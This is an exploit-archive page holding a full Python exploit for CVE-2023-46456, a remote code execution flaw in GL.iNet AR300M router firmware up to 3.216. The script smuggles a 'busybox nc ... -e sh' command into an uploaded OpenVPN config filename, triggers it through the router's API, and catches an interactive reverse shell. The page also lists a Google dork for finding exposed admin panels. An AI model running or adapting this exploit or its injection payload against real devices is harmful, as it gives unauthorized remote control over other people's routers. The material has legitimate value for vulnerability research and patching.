GL.iNet AR300M v3.216 Remote Code Execution CVE-2023-46456 Exploit

2024.03.03
Risk: Low
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar # Version: 3.216 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46456 import socket import requests import readline from time import sleep from random import randint from sys import stdout, argv from threading import Thread requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def generate_random_string(): return ''.join([chr(randint(97, 122)) for x in range(6)]) def add_config_file(url, auth_token, payload): data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')} try: r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding configuration file') return False return True def verify_config_file(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() if not r.json()['passed'] and payload not in r.json()['passed']: return False except requests.exceptions.RequestException: print('[X] Error while verifying the upload of configuration file') return False return True def add_client(url, auth_token): postdata = {'description':'RCE_client_{}'.format(generate_random_string())} try: r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding OpenVPN client') return False return True def get_client_id(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() for conn in r.json()['clients']: if conn['defaultserver'] == payload: return conn['id'] print('[X] Error: could not find client ID') return False except requests.exceptions.RequestException: print('[X] Error while retrieving added OpenVPN client ID') return False def connect_vpn(url, auth_token, client_id): sleep(0.25) postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'} r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) def cleanup(url, auth_token, client_id): try: r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while cleaning up OpenVPN client') return False return True def get_command_response(s): res = '' while True: try: resp = s.recv(1).decode('utf-8') res += resp except UnicodeDecodeError: pass except socket.timeout: break return res def revshell_listen(revshell_ip, revshell_port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.bind((revshell_ip, int(revshell_port))) s.listen(1) except Exception as e: print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__)) exit(1) try: clsock, claddr = s.accept() clsock.settimeout(2) if clsock: print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1])) res = '' while True: command = input('$ ') clsock.sendall('{}\n'.format(command).encode('utf-8')) stdout.write(get_command_response(clsock)) except socket.timeout: print('[-] No connection received in 5 seconds, probably server is not vulnerable...') s.close() except KeyboardInterrupt: print('\n[*] Closing connection') try: clsock.close() except socket.error: pass except NameError: pass s.close() def main(base_url, auth_token, revshell_ip, revshell_port): print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit') payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port) print('[+] Filename payload: "{}"'.format(payload)) print('[*] Uploading crafted OpenVPN config file') if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload): exit(1) if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload): exit(1) print('[+] File uploaded successfully') print('[*] Adding OpenVPN client') if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token): exit(1) client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload) if not client_id: exit(1) print('[+] Client ID: ' + client_id) print('[*] Triggering connection to created OpenVPN client') Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start() print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port)) revshell_listen(revshell_ip, revshell_port) print('[*] Clean-up by removing OpenVPN connection') if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id): exit(1) print('[+] Done') if __name__ == '__main__': if len(argv) < 5: print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0])) exit(1) main(argv[1], argv[2], argv[3], argv[4])


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top